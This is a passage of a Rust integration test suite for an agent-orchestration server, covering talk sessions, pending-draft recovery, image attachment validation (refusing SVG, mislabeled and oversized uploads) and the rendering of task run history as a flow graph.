10220 let repo = tmp.path().join("repo");
10221 std::fs::create_dir_all(&repo).expect("repo dir");
10222 std::fs::write(repo.join("magi.toml"), SLOW_MOCK_AGENT_TOML).expect("write config");
10223 let f = Fixture::with_repo(repo).await;
10224 let id = f.post("/api/talks", None).await.json()["id"]
10225 .as_str()
10226 .expect("id")
10227 .to_owned();
10228 let store = f.talks();
10229 let mut recovered = store.get(&id).expect("opened talk");
10230 talk::queue(&mut recovered, &store, "saved before restart", Vec::new())
10231 .expect("persist pending draft without a live turn");
10232
10233 let refused = f
10234 .post(
10235 &format!("/api/talks/{id}/say"),
10236 Some(r#"{"text":"new message"}"#),
10237 )
10238 .await;
10239 assert_eq!(refused.status, 409, "{}", refused.body);
10240 assert!(refused.body.contains("resume"), "{}", refused.body);
10241 let saved = store.get(&id).expect("draft remains after refusal");
10242 assert!(saved.turns.is_empty());
10243 assert_eq!(saved.pending, "saved before restart");
10244
10245 let say_path = format!("/api/talks/{id}/say");
10246 let (first, second) = tokio::join!(
10247 f.post(&say_path, Some(r#"{"text":"concurrent one"}"#)),
10248 f.post(&say_path, Some(r#"{"text":"concurrent two"}"#)),
10249 );
10250 assert_eq!(first.status, 409, "{}", first.body);
10251 assert_eq!(second.status, 409, "{}", second.body);
10252 let saved = store
10253 .get(&id)
10254 .expect("draft remains after concurrent refusals");
10255 assert!(saved.turns.is_empty());
10256 assert_eq!(saved.pending, "saved before restart");
10257
10258 let resumed = f
10259 .post(&format!("/api/talks/{id}/pending/resume"), None)
10260 .await;
10261 assert_eq!(resumed.status, 202, "{}", resumed.body);
10262 let duplicate = f
10263 .post(&format!("/api/talks/{id}/pending/resume"), None)
10264 .await;
10265 assert_eq!(duplicate.status, 409, "{}", duplicate.body);
10266
10267 for _ in 0..SETTLE_STEPS {
10268 if store.get(&id).expect("talk").turns.len() == 2 {
10269 break;
10270 }
10271 tokio::time::sleep(Duration::from_millis(10)).await;
10272 }
10273 let finished = store.get(&id).expect("finished talk");
10274 assert_eq!(finished.turns.len(), 2, "{finished:?}");
10275 assert_eq!(finished.turns[0].body, "saved before restart");
10276 assert!(finished.pending.is_empty());
10277 }
10278
10279 #[tokio::test]
10280 async fn an_image_only_recovered_draft_resumes_without_text() {
10281 let (_tmp, _repo, f) = talk_fixture().await;
10282 let id = f.post("/api/talks", None).await.json()["id"]
10283 .as_str()
10284 .expect("id")
10285 .to_owned();
10286 let uploaded = f
10287 .post_bytes(
10288 &format!("/api/talks/{id}/attachments"),
10289 &[("Content-Type", "image/png"), ("X-Filename", "saved.png")],
10290 PNG_BYTES,
10291 )
10292 .await;
10293 assert_eq!(uploaded.status, 201, "{}", uploaded.body);
10294 let attachment = f
10295 .talks()
10296 .attachment_meta(&id, uploaded.json()["id"].as_str().expect("attachment id"))
10297 .expect("attachment metadata")
10298 .expect("stored attachment");
10299 let store = f.talks();
10300 let mut recovered = store.get(&id).expect("opened talk");
10301 talk::queue(&mut recovered, &store, "", vec![attachment]).expect("queue image only");
10302
10303 let resumed = f
10304 .post(&format!("/api/talks/{id}/pending/resume"), None)
10305 .await;
10306 assert_eq!(resumed.status, 202, "{}", resumed.body);
10307 for _ in 0..SETTLE_STEPS {
10308 if store.get(&id).expect("talk").turns.len() == 2 {
10309 break;
10310 }
10311 tokio::time::sleep(Duration::from_millis(10)).await;
10312 }
10313 let finished = store.get(&id).expect("finished talk");
10314 assert_eq!(finished.turns.len(), 2, "{finished:?}");
10315 assert!(finished.turns[0].body.is_empty());
10316 assert_eq!(finished.turns[0].attachments.len(), 1);
10317 assert!(finished.pending_attachments.is_empty());
10318 }
10319
10320 #[tokio::test]
10321 async fn closed_talk_refuses_pending_mutations_without_changing_the_record() {
10322 let (_tmp, _repo, f) = talk_fixture().await;
10323 let id = f.post("/api/talks", None).await.json()["id"]
10324 .as_str()
10325 .expect("id")
10326 .to_owned();
10327 let closed = f.post(&format!("/api/talks/{id}/close"), None).await;
10328 assert_eq!(closed.status, 200, "{}", closed.body);
10329 let before_clear = serde_json::to_value(f.talks().get(&id).expect("closed talk"))
10330 .expect("serialize closed talk");
10331 for (path, body) in [
10332 (format!("/api/talks/{id}/pending/resume"), None),
10333 (
10334 format!("/api/talks/{id}/pending/clear"),
10335 Some(r#"{"expected_text":"","expected_attachments":[]}"#),
10336 ),
10337 (
10338 format!("/api/talks/{id}/pending/edit"),
10339 Some(r#"{"text":"x","expected_text":"","expected_attachments":[]}"#),
10340 ),
10341 (format!("/api/talks/{id}/say"), Some(r#"{"text":"x"}"#)),
10342 ] {
10343 let response = f.post(&path, body).await;
10344 assert_eq!(response.status, 409, "{}", response.body);
10345 }
10346 let after_clear = serde_json::to_value(f.talks().get(&id).expect("closed talk"))
10347 .expect("serialize closed talk");
10348 assert_eq!(
10349 after_clear, before_clear,
10350 "clear must not rewrite a closed talk"
10351 );
10352 }
10353
10354 const SLOW_MOCK_AGENT_TOML: &str = "[[agents]]\nid = \"mock\"\nkind = \"command\"\ncommand = [\"sh\", \"-c\", \"cat >/dev/null && sleep 3 && printf ok\"]\n";
10357
10358 #[tokio::test]
10359 async fn talks_report_independent_thinking_claims_and_queue_a_second_message() {
10360 let tmp = TempDir::new().expect("tempdir");
10361 let repo = tmp.path().join("repo");
10362 std::fs::create_dir_all(&repo).expect("repo dir");
10363 std::fs::write(repo.join("magi.toml"), SLOW_MOCK_AGENT_TOML).expect("write config");
10364 let f = Fixture::with_repo(repo).await;
10365 let id_a = f.post("/api/talks", None).await.json()["id"]
10366 .as_str()
10367 .unwrap()
10368 .to_owned();
10369 let id_b = f.post("/api/talks", None).await.json()["id"]
10370 .as_str()
10371 .unwrap()
10372 .to_owned();
10373
10374 let a = f
10375 .post(&format!("/api/talks/{id_a}/say"), Some(r#"{"text":"a"}"#))
10376 .await;
10377 assert_eq!(a.status, 202, "{}", a.body);
10378 assert_eq!(a.json()["thinking"], true);
10379 let b = f
10380 .post(&format!("/api/talks/{id_b}/say"), Some(r#"{"text":"b"}"#))
10381 .await;
10382 assert_eq!(b.status, 202, "{}", b.body);
10383 assert_eq!(b.json()["thinking"], true);
10384
10385 let listed = f.get("/api/talks").await.json();
10386 for id in [&id_a, &id_b] {
10387 let view = listed
10388 .as_array()
10389 .unwrap()
10390 .iter()
10391 .find(|talk| talk["id"] == *id)
10392 .unwrap();
10393 assert_eq!(view["thinking"], true, "{listed}");
10394 }
10395 let repeated = f
10396 .post(
10397 &format!("/api/talks/{id_a}/say"),
10398 Some(r#"{"text":"again"}"#),
10399 )
10400 .await;
10401 assert_eq!(repeated.status, 202, "{}", repeated.body);
10402 assert_eq!(repeated.json()["pending"], "again");
10403 }
10404
10405 const PNG_BYTES: &[u8] = b"\x89PNG\r\n\x1a\n\x00\x00\x00\x0dIHDR\x00\x00\x00\x01";
10408
10409 #[tokio::test]
10410 async fn a_png_attachment_upload_is_201_and_get_returns_it_with_nosniff() {
10411 let f = Fixture::start().await;
10412 let id = seed_talk(&f, "20260905-000000-a1b2", "open");
10413
10414 let res = f
10415 .post_bytes(
10416 &format!("/api/talks/{id}/attachments"),
10417 &[("Content-Type", "image/png"), ("X-Filename", "shot.png")],
10418 PNG_BYTES,
10419 )
10420 .await;
10421 assert_eq!(res.status, 201, "{}", res.body);
10422 let body = res.json();
10423 assert_eq!(body["name"], "shot.png");
10424 assert_eq!(body["mime"], "image/png");
10425 assert_eq!(body["bytes"], PNG_BYTES.len());
10426 let att_id = body["id"].as_str().expect("id").to_owned();
10427 assert_eq!(
10428 att_id.len(),
10429 32,
10430 "the id must never be a client-suppliable path: {att_id}"
10431 );
10432
10433 let got = f
10434 .get(&format!("/api/talks/{id}/attachments/{att_id}"))
10435 .await;
10436 assert_eq!(got.status, 200, "{}", got.body);
10437 assert_eq!(got.header("content-type"), Some("image/png"));
10438 assert_eq!(got.header("x-content-type-options"), Some("nosniff"));
10439 assert_eq!(got.bytes, PNG_BYTES);
10440 }
10441
10442 #[tokio::test]
10443 async fn an_svg_a_text_file_and_an_oversized_upload_are_all_4xx() {
10444 let f = Fixture::start().await;
10445 let id = seed_talk(&f, "20260905-000000-c3d4", "open");
10446
10447 let svg = f
10450 .post_bytes(
10451 &format!("/api/talks/{id}/attachments"),
10452 &[("Content-Type", "image/svg+xml")],
10453 b"<svg xmlns=\"http://www.w3.org/2000/svg\"></svg>",
10454 )
10455 .await;
10456 assert!(
10457 (400..500).contains(&svg.status),
10458 "svg must be refused: {} {}",
10459 svg.status,
10460 svg.body
10461 );
10462 assert!(svg.body.contains("SVG"), "{}", svg.body);
10463
10464 let text = f
10465 .post_bytes(
10466 &format!("/api/talks/{id}/attachments"),
10467 &[("Content-Type", "text/plain")],
10468 b"just some text",
10469 )
10470 .await;
10471 assert!(
10472 (400..500).contains(&text.status),
10473 "an unlisted type must be refused: {} {}",
10474 text.status,
10475 text.body
10476 );
10477
10478 let oversized = vec![0u8; ATTACHMENT_MAX_BYTES + 1];
10481 let big = f
10482 .post_bytes(
10483 &format!("/api/talks/{id}/attachments"),
10484 &[("Content-Type", "image/png")],
10485 &oversized,
10486 )
10487 .await;
10488 assert_eq!(
10489 big.status,
10490 StatusCode::PAYLOAD_TOO_LARGE.as_u16(),
10491 "{}",
10492 big.body
10493 );
10494 }
10495
10496 #[tokio::test]
10497 async fn a_mislabeled_upload_is_refused_even_though_the_declared_type_is_on_the_whitelist() {
10498 let f = Fixture::start().await;
10499 let id = seed_talk(&f, "20260905-000000-d4e5", "open");
10500
10501 let res = f
10504 .post_bytes(
10505 &format!("/api/talks/{id}/attachments"),
10506 &[("Content-Type", "image/png")],
10507 b"<html>not a picture</html>",
10508 )
10509 .await;
10510 assert!((400..500).contains(&res.status), "{}", res.body);
10511 }
10512
10513 #[tokio::test]
10514 async fn an_unknown_attachment_id_is_a_404() {
10515 let f = Fixture::start().await;
10516 let id = seed_talk(&f, "20260905-000000-e5f6", "open");
10517
10518 let res = f
10519 .get(&format!("/api/talks/{id}/attachments/{}", "0".repeat(32)))
10520 .await;
10521 assert_eq!(res.status, 404, "{}", res.body);
10522 }
10523
10524 #[tokio::test]
10525 async fn talk_say_with_only_an_attachment_and_no_body_is_accepted_and_persists() {
10526 let f = Fixture::start().await;
10527 let id = seed_talk(&f, "20260905-000000-f6a7", "open");
10528
10529 let uploaded = f
10530 .post_bytes(
10531 &format!("/api/talks/{id}/attachments"),
10532 &[("Content-Type", "image/png"), ("X-Filename", "shot.png")],
10533 PNG_BYTES,
10534 )
10535 .await;
10536 assert_eq!(uploaded.status, 201, "{}", uploaded.body);
10537 let att_id = uploaded.json()["id"].as_str().expect("id").to_owned();
10538
10539 let res = f
10540 .post(
10541 &format!("/api/talks/{id}/say"),
10542 Some(&format!(r#"{{"text":"","attachments":["{att_id}"]}}"#)),
10543 )
10544 .await;
10545 assert_eq!(res.status, 202, "{}", res.body);
10546 let queued = res.json();
10547 let turns = queued["turns"].as_array().expect("turns array");
10548 assert_eq!(
10549 turns.len(),
10550 1,
10551 "an empty body with an attachment is still a turn: {queued}"
10552 );
10553 assert_eq!(turns[0]["who"], "operator");
10554 assert_eq!(turns[0]["body"], "");
10555 let atts = turns[0]["attachments"]
10556 .as_array()
10557 .expect("attachments array");
10558 assert_eq!(atts.len(), 1);
10559 assert_eq!(atts[0]["id"], att_id);
10560 assert_eq!(atts[0]["mime"], "image/png");
10561
10562 let on_disk = f.talks().get(&id).expect("get");
10565 assert_eq!(on_disk.turns[0].attachments.len(), 1);
10566 assert_eq!(on_disk.turns[0].attachments[0].id, att_id);
10567 }
10568
10569 #[tokio::test]
10570 async fn saying_with_an_unknown_attachment_id_is_a_4xx_and_records_nothing() {
10571 let f = Fixture::start().await;
10572 let id = seed_talk(&f, "20260905-000000-a7b8", "open");
10573
10574 let res = f
10575 .post(
10576 &format!("/api/talks/{id}/say"),
10577 Some(&format!(
10578 r#"{{"text":"hi","attachments":["{}"]}}"#,
10579 "a".repeat(32)
10580 )),
10581 )
10582 .await;
10583 assert!((400..500).contains(&res.status), "{}", res.body);
10584 assert!(res.body.contains("unknown attachment"), "{}", res.body);
10585
10586 let on_disk = f.talks().get(&id).expect("get");
10587 assert!(
10588 on_disk.turns.is_empty(),
10589 "a rejected attachment id must not partially record the turn: {:?}",
10590 on_disk.turns
10591 );
10592 }
10593
10594 #[tokio::test]
10595 async fn talk_close_makes_the_talk_refuse_further_turns() {
10596 let f = Fixture::start().await;
10597 let id = seed_talk(&f, "20260904-014455-cd34", "open");
10598
10599 let closed = f.post(&format!("/api/talks/{id}/close"), None).await;
10600 assert_eq!(closed.status, 200, "{}", closed.body);
10601 assert_eq!(closed.json()["status"], "closed");
10602
10603 let closed_again = f.post(&format!("/api/talks/{id}/close"), None).await;
10605 assert_eq!(closed_again.status, 200);
10606 assert_eq!(closed_again.json()["status"], "closed");
10607
10608 let said = f
10609 .post(
10610 &format!("/api/talks/{id}/say"),
10611 Some(r#"{"text":"too late"}"#),
10612 )
10613 .await;
10614 assert_eq!(said.status, 409, "{}", said.body);
10615 }
10616
10617 #[tokio::test]
10618 async fn talk_reopen_lets_a_closed_talk_take_turns_again_and_is_idempotent() {
10619 let (_tmp, _repo, f) = talk_fixture().await;
10620 let id = f.post("/api/talks", None).await.json()["id"]
10621 .as_str()
10622 .expect("id")
10623 .to_owned();
10624 let closed = f.post(&format!("/api/talks/{id}/close"), None).await;
10625 assert_eq!(closed.status, 200, "{}", closed.body);
10626
10627 let reopened = f.post(&format!("/api/talks/{id}/reopen"), None).await;
10628 assert_eq!(reopened.status, 200, "{}", reopened.body);
10629 assert_eq!(reopened.json()["status"], "open");
10630
10631 let reopened_again = f.post(&format!("/api/talks/{id}/reopen"), None).await;
10633 assert_eq!(reopened_again.status, 200);
10634 assert_eq!(reopened_again.json()["status"], "open");
10635
10636 let said = f
10637 .post(
10638 &format!("/api/talks/{id}/say"),
10639 Some(r#"{"text":"still there?"}"#),
10640 )
10641 .await;
10642 assert_eq!(
10643 said.status, 202,
10644 "a reopened talk accepts turns again: {}",
10645 said.body
10646 );
10647 }
10648
10649 #[tokio::test]
10650 async fn talk_reopen_on_an_unknown_id_is_404() {
10651 let f = Fixture::start().await;
10652 let res = f.post("/api/talks/nonexistent-id/reopen", None).await;
10653 assert_eq!(res.status, 404, "{}", res.body);
10654 }
10655
10656 #[tokio::test]
10657 async fn talk_delete_removes_the_talk_from_disk_and_the_list() {
10658 let f = Fixture::start().await;
10659 let id = seed_talk(&f, "20260904-014455-ef56", "closed");
10660
10661 let deleted = f.delete(&format!("/api/talks/{id}")).await;
10662 assert_eq!(deleted.status, 204, "{}", deleted.body);
10663
10664 let after = f.get(&format!("/api/talks/{id}")).await;
10665 assert_eq!(after.status, 404, "{}", after.body);
10666
10667 let listed = f.get("/api/talks").await.json();
10668 assert!(
10669 listed.as_array().unwrap().iter().all(|t| t["id"] != id),
10670 "a deleted talk must not linger in the list: {listed}"
10671 );
10672 }
10673
10674 #[tokio::test]
10675 async fn talk_delete_on_an_unknown_id_is_404() {
10676 let f = Fixture::start().await;
10677 let res = f.delete("/api/talks/nonexistent-id").await;
10678 assert_eq!(res.status, 404, "{}", res.body);
10679 }
10680
10681 #[tokio::test]
10685 async fn task_detail_lists_every_run_with_what_kind_of_attempt_it_was() {
10686 let f = Fixture::start().await;
10687 let (a, b, gone) = (
10688 "20260902-140501-aaaa",
10689 "20260902-140502-bbbb",
10690 "20260902-140503-cccc",
10691 );
10692 write_run(&f.runs(), a, RunStatus::Stalled);
10693 let mut review = RunState::new(
10694 PathBuf::from("/repo/magi"),
10695 "main".to_owned(),
10696 "0123456789abcdef".to_owned(),
10697 "Review the work already on branch `magi/aaaa/A`. There is no task statement."
10698 .to_owned(),
10699 Config::default(),
10700 );
10701 review.id = b.to_owned();
10702 review.status = RunStatus::Merged;
10703 write_state(&f.runs(), &review);
10704
10705 let mut task = Task::new(
10706 "retry".to_owned(),
10707 "Do the thing".to_owned(),
10708 PathBuf::from("/repo/magi"),
10709 Source::Human,
10710 );
10711 task.start(a.to_owned());
10712 task.stall("quota");
10713 task.start(a.to_owned());
10714 task.start(b.to_owned());
10715 task.start(gone.to_owned());
10716 f.queue().put(&mut task).expect("file the task");
10717
10718 let res = f.get(&format!("/api/queue/{}", task.id)).await;
10719 assert_eq!(res.status, 200, "{}", res.body);
10720 let v = res.json();
10721 let h = v["history"].as_array().expect("history");
10722 assert_eq!(h.len(), 4, "{v}");
10723 assert_eq!(h[0]["kind"], "competition");
10724 assert_eq!(h[0]["status"], "stalled");
10725 assert_eq!(h[0]["provisional"], true, "a stall is never a decision");
10726 assert_eq!(h[1]["kind"], "resume", "{v}");
10727 assert!(
10728 h[0]["outcome"]
10729 .as_str()
10730 .unwrap()
10731 .contains("unknown. Pass #2"),
10732 "an earlier pass of a resumed run must not claim the final outcome: {v}"
10733 );
10734 assert!(
10735 !h[1]["outcome"].as_str().unwrap().contains("unknown."),
10736 "{v}"
10737 );
10738 assert!(
10739 !h[0]["outcome"].as_str().unwrap().contains("parked it"),
10740 "an unrecorded cause must not be narrated as an operator park: {v}"
10741 );
10742 assert_eq!(h[2]["kind"], "review");
10743 assert!(
10744 h[2]["description"]
10745 .as_str()
10746 .unwrap()
10747 .contains("magi/aaaa/A")
10748 );
10749 assert_eq!(h[2]["status"], "merged");
10750 assert_eq!(h[3]["readable"], false, "an unreadable run is shown");
10751 assert_eq!(v["runs_unreadable"], 1);
10752 let nodes = v["flow"]["nodes"].as_array().expect("flow nodes");
10753 assert_eq!(nodes.len(), 6, "start + four passes + end: {v}");
10754 assert_eq!(nodes[4]["note"], "unreadable");
10755 assert_eq!(v["flow"]["edges"].as_array().unwrap().len(), 5);
10756 assert_eq!(v["instruction"], "Do the thing");
10757 assert!(v["attempts_note"].as_str().unwrap().contains("handed back"));
10758
10759 let run = f.get(&format!("/api/runs/{a}")).await.json();
10761 assert_eq!(run["task"]["id"], task.id.as_str(), "{run}");
10762
10763 assert_eq!(f.get("/api/queue/nosuchtask").await.status, 404);
10764 }
10765
10766 fn flow_run(status: RunStatus, edit: impl FnOnce(&mut RunState)) -> RunState {
10767 let mut s = RunState::new(
10768 PathBuf::from("/repo/magi"),
10769 "main".to_owned(),
10770 "0123456789abcdef".to_owned(),
10771 "Do it".to_owned(),
10772 Config::default(),
10773 );
10774 s.status = status;
10775 edit(&mut s);
10776 s
10777 }
10778
10779 fn flow_task(runs: &[&str]) -> Task {
10780 let mut t = Task::new(
10781 "t".to_owned(),
10782 "Do it".to_owned(),
10783 PathBuf::from("/repo/magi"),
10784 Source::Human,
10785 );
10786 for r in runs {
10787 t.start((*r).to_owned());
10788 }
10789 t
10790 }
10791
10792 fn flow_for(task: &Task, states: &[(&str, Option<RunState>)]) -> FlowView {
10793 let h = task_history(task, |id| {
10794 states
10795 .iter()
10796 .find(|(i, _)| *i == id)
10797 .and_then(|(_, s)| s.clone())
10798 });
10799 task_flow(task, &h, 5, None)
10800 }
10801
10802 fn fu(origin_task: Option<&str>) -> crate::queue::FollowUp {
10803 crate::queue::FollowUp {
10804 run: "20260901-000000-aaaa".to_owned(),
10805 origin_task: origin_task.map(str::to_owned),
10806 pr: "https://example.com/o/r/pull/1".to_owned(),
10807 findings: ["R3-1-1", "R3-1-2", "R3-1-3", "R3-1-4"]
10808 .map(str::to_owned)
10809 .to_vec(),
10810 generation: 1,
10811 }
10812 }
10813
10814 fn parent_task() -> Task {
10815 let mut p = flow_task(&[]);
10816 p.title = "Parent title".to_owned();
10817 p.status = TaskStatus::Done;
10818 p
10819 }
10820
10821 #[test]
10822 fn flow_opens_with_the_parent_task_of_a_followup() {
10823 let p = parent_task();
10824 let pid = p.id.clone();
10825 let o = followup_origin(&fu(Some(&pid)), |i| (i == pid).then(|| p.clone()), |_| None);
10826 let f = task_flow(&flow_task(&[]), &[], 5, Some(&o));
10827 let n = &f.nodes[0];
10828 assert_eq!((n.kind, n.key.as_str()), ("followup", "origin"));
10829 assert_eq!(
10830 n.label,
10831 format!("Follow-up of {}", crate::queue::short(&pid))
10832 );
10833 assert_eq!(n.detail.as_deref(), Some("Parent title"));
10834 assert_eq!(n.status, Some("done"));
10835 assert_eq!(n.status_of, "task");
10836 assert_eq!(n.href.as_deref(), Some(format!("#/tasks/{pid}").as_str()));
10837 assert_eq!(f.nodes[1].key, "start");
10838 assert_eq!(f.edges[0].from, "origin");
10839 assert_eq!(
10840 f.edges[0].label,
10841 "open findings R3-1-1, R3-1-2, R3-1-3 +1 more"
10842 );
10843 }
10844
10845 #[test]
10846 fn flow_falls_back_to_the_merged_run_when_the_parent_is_gone() {
10847 let o = followup_origin(
10848 &fu(Some("gone")),
10849 |_| None,
10850 |_| {
10851 Some(RunState::new(
10852 std::path::PathBuf::from("."),
10853 "main".to_owned(),
10854 "0".to_owned(),
10855 "t".to_owned(),
10856 crate::config::Config::default(),
10857 ))
10858 },
10859 );
10860 assert!(o.parent.is_none());
10861 let f = task_flow(&flow_task(&[]), &[], 5, Some(&o));
10862 let n = &f.nodes[0];
10863 assert_eq!(n.status_of, "run");
10864 assert_eq!(n.href.as_deref(), Some("#/runs/20260901-000000-aaaa"));
10865 assert!(n.label.starts_with("Follow-up of run "), "{}", n.label);
10866 }
10867
10868 #[test]
10869 fn flow_followup_with_nothing_readable_has_no_link() {
10870 let o = followup_origin(&fu(None), |_| panic!("no parent id to look up"), |_| None);
10871 let f = task_flow(&flow_task(&[]), &[], 5, Some(&o));
10872 let n = &f.nodes[0];
10873 assert_eq!(n.href, None);
10874 assert_eq!(n.note, Some("unreadable"));
10875 assert!(!n.readable);
10876 }
10877
10878 #[test]
10879 fn flow_keeps_the_chat_first_only_when_the_source_is_a_chat() {
10880 let o = followup_origin(&fu(None), |_| None, |_| None);
10881 let mut t = flow_task(&[]);
10882 t.origin_chat = Some("c1".to_owned());
10883 let f = task_flow(&t, &[], 5, Some(&o));
10884 assert_eq!(f.nodes[0].kind, "followup", "inherited chat adds no node");
10885 t.source = Source::Agent {
10886 run: "c1".to_owned(),
10887 node: crate::queue::CHAT_NODE.to_owned(),
10888 };
10889 let f = task_flow(&t, &[], 5, Some(&o));
10890 assert_eq!((f.nodes[0].kind, f.nodes[1].kind), ("chat", "followup"));
10891 assert_eq!(
10892 (f.edges[0].from.as_str(), f.edges[0].to.as_str()),
10893 ("chat", "origin")
10894 );
10895 }
10896
10897 #[test]
10898 fn followup_origin_encodes_ids_and_survives_a_self_reference() {
10899 let mut p = parent_task();
10900 p.id = "a b/c".to_owned();
10901 let o = followup_origin(&fu(Some("a b/c")), |_| Some(p.clone()), |_| None);
10902 assert_eq!(o.parent.expect("parent").href, "#/tasks/a%20b%2Fc");
10903 }
10904
10905 #[test]
10906 fn flow_opens_with_the_chat_that_queued_the_task() {
10907 let mut t = flow_task(&[]);
10908 t.source = Source::Agent {
10909 run: "a b/c".to_owned(),
10910 node: crate::queue::CHAT_NODE.to_owned(),
10911 };
10912 let f = flow_for(&t, &[]);
10913 assert_eq!(f.nodes[0].key, "chat");
10914 assert_eq!(f.nodes[0].kind, "chat");
10915 assert_eq!(
10916 f.nodes[0].label,
10917 format!("Chat {}", crate::queue::short("a b/c"))
10918 );
10919 assert_eq!(f.nodes[0].href.as_deref(), Some("#/chat/a%20b%2Fc"));
10920 assert_eq!(f.nodes[1].key, "start");
10921 assert_eq!(
10922 f.edges[0],
10923 FlowEdge {
10924 from: "chat".to_owned(),
10925 to: "start".to_owned(),
10926 label: "queued from chat".to_owned(),
10927 attempt: AttemptCost::None,
10928 }
10929 );
10930 }
10931
10932 #[test]
10933 fn flow_has_no_chat_box_for_other_sources() {
10934 for source in [
10935 Source::Human,
10936 Source::Issue {
10937 number: 3,
10938 repo: "o/r".to_owned(),
10939 },
10940 Source::Agent {
10941 run: "20260904-014455-ab12".to_owned(),
10942 node: "implement".to_owned(),
10943 },
10944 ] {
10945 let mut t = flow_task(&[]);
10946 t.source = source;
10947 let f = flow_for(&t, &[]);
10948 assert_eq!(f.nodes[0].key, "start");
10949 assert!(f.nodes.iter().all(|n| n.kind != "chat"));
10950 assert!(f.edges.iter().all(|e| e.from != "chat"));
10951 }
10952 }
10953
10954 const FA: &str = "20260902-140501-aaaa";
10955 const FB: &str = "20260902-140502-bbbb";
10956
10957 #[test]
10958 fn flow_follows_blocked_retry_merged_to_done() {
10959 let mut t = flow_task(&[FA, FB]);
10960 t.status = TaskStatus::Done;
10961 let f = flow_for(
10962 &t,
10963 &[
10964 (FA, Some(flow_run(RunStatus::Blocked, |_| {}))),
10965 (FB, Some(flow_run(RunStatus::Merged, |_| {}))),
10966 ],
10967 );
10968 let keys: Vec<_> = f.nodes.iter().map(|n| n.key.as_str()).collect();
10969 assert_eq!(keys, ["start", "run-1", "run-2", "end"]);
10970 assert_eq!(f.edges.len(), 3);
10971 assert_eq!(f.edges[0].label, "claimed");
10972 assert_eq!(f.edges[1].label, "blocked, attempt spent \u{2192} retry");
10973 assert_eq!(f.edges[1].attempt, AttemptCost::Spent);
10974 assert_eq!(f.edges[2].label, "merged \u{2192} done");
10975 assert_eq!(
10976 f.nodes[2].href.as_deref(),
10977 Some("#/runs/20260902-140502-bbbb")
10978 );
10979 assert!(f.nodes[2].decided);
10980 }
10981
10982 #[test]
10983 fn flow_quota_stall_is_refunded_and_never_decided_then_resumes() {
10984 let quota = || {
10985 flow_run(RunStatus::Stalled, |s| {
10986 s.quota.push(crate::run::QuotaLoss {
10987 seat: "judge-1".to_owned(),
10988 node: "judge".to_owned(),
10989 at: Timestamp::now(),
10990 reset: None,
10991 })
10992 })
10993 };
10994 let mut t = flow_task(&[FA, FA]);
10995 t.status = TaskStatus::Queued;
10996 let f = flow_for(&t, &[(FA, Some(quota()))]);
10997 assert_eq!(f.nodes.len(), 4, "a repeated id is one node per pass");
10998 assert_eq!(f.nodes[1].note, Some("interrupted"));
10999 assert_eq!(
11000 f.nodes[1].status, None,
11001 "no outcome copied onto an earlier pass"
11002 );
11003 assert_eq!(
11004 f.edges[1].attempt,
11005 AttemptCost::Unknown,
11006 "a resume does not prove the earlier pass was refunded"
11007 );
11008 assert!(f.edges[1].label.contains("resume the same run"));
11009 assert_eq!(f.edges[2].attempt, AttemptCost::Unknown);
11010 assert_eq!(
11011 f.edges[2].label,
11012 "stalled after a resume, refund unknown \u{2192} queued"
11013 );
11014 assert!(!f.nodes[2].decided, "a stall is not a decision");
11015 assert_eq!(f.nodes[2].note, Some("no verdict"));
11016 }
11017
11018 #[test]
11019 fn flow_single_pass_quota_stall_is_refunded() {
11020 let t = flow_task(&[FA]);
11021 let f = flow_for(
11022 &t,
11023 &[(
11024 FA,
11025 Some(flow_run(RunStatus::Stalled, |s| {
11026 s.quota.push(crate::run::QuotaLoss {
11027 seat: "judge-1".to_owned(),
11028 node: "judge".to_owned(),
11029 at: Timestamp::now(),
11030 reset: None,
11031 })
11032 })),
11033 )],
11034 );
11035 assert_eq!(f.edges[1].attempt, AttemptCost::Refunded);
11036 }
11037
11038 #[test]
11039 fn flow_parked_refunds_and_stall_without_quota_spends() {
11040 let mut t = flow_task(&[FA]);
11041 t.status = TaskStatus::Queued;
11042 let f = flow_for(
11043 &t,
11044 &[(
11045 FA,
11046 Some(flow_run(RunStatus::Implementing, |s| s.parked = true)),
11047 )],
11048 );
11049 assert_eq!(f.edges[1].label, "parked, attempt refunded \u{2192} queued");
11050 assert_eq!(f.edges[1].attempt, AttemptCost::Refunded);
11051 let f = flow_for(&t, &[(FA, Some(flow_run(RunStatus::Stalled, |_| {})))]);
11052 assert_eq!(f.edges[1].attempt, AttemptCost::Spent);
11053 assert!(!f.nodes[1].decided);
11054 }
11055
11056 #[test]
11057 fn flow_keeps_an_unreadable_run_as_its_own_node() {
11058 let t = flow_task(&[FA, FB]);
11059 let f = flow_for(&t, &[(FB, Some(flow_run(RunStatus::Blocked, |_| {})))]);
11060 assert_eq!(f.nodes[1].note, Some("unreadable"));
11061 assert!(!f.nodes[1].readable);
11062 assert_eq!(f.nodes[1].run_kind, Some("unknown"));
11063 assert_eq!(f.edges[1].attempt, AttemptCost::Unknown);
11064 }
11065
11066 #[test]
11067 fn flow_names_the_branch_of_a_review_only_run() {
11068 let t = flow_task(&[FA]);
11069 let f = flow_for(
11070 &t,
11071 &[(
11072 FA,
11073 Some(flow_run(RunStatus::Merged, |s| {
11074 s.instruction = "Review the work already on branch `magi/x/A`. Go.".to_owned()
11075 })),
11076 )],
11077 );
11078 assert_eq!(f.edges[0].label, "review-only run of branch magi/x/A");
11079 assert_eq!(
11080 f.nodes[1].detail.as_deref(),
11081 Some("review-only run of branch magi/x/A")
11082 );
11083 }
11084
11085 #[test]
11086 fn flow_ends_held_with_the_pr_left_open_and_flags_hand_edits() {
11087 let mut t = flow_task(&[FA]);
11088 t.status = TaskStatus::Held;
11089 let pr = crate::run::PrRecord {
11090 url: "https://example.test/pr/1".to_owned(),
11091 number: 1,
11092 state: "open".to_owned(),
11093 checks: "green".to_owned(),
11094 round: 0,
11095 rounds: 3,
11096 red_at_merge: Vec::new(),
11097 };
11098 let blocked = flow_run(RunStatus::Blocked, |s| s.pr = Some(pr));
11099 let f = flow_for(&t, &[(FA, Some(blocked.clone()))]);
11100 assert_eq!(f.edges[1].label, "blocked, PR left open \u{2192} held");
11101 t.status = TaskStatus::Done;
11102 let f = flow_for(&t, &[(FA, Some(blocked))]);
11103 assert_eq!(f.edges[1].label, "closed by hand: task is done");
11104 }
11105
11106 #[test]
11107 fn flow_with_no_runs_goes_from_queued_to_queued() {
11108 let t = flow_task(&[]);
11109 let f = flow_for(&t, &[]);
11110 assert_eq!(f.nodes.len(), 2);
11111 assert_eq!(f.edges.len(), 1);
11112 assert_eq!(f.edges[0].label, "no run yet \u{2192} queued");
11113 assert_eq!(f.edges[0].attempt, AttemptCost::None);
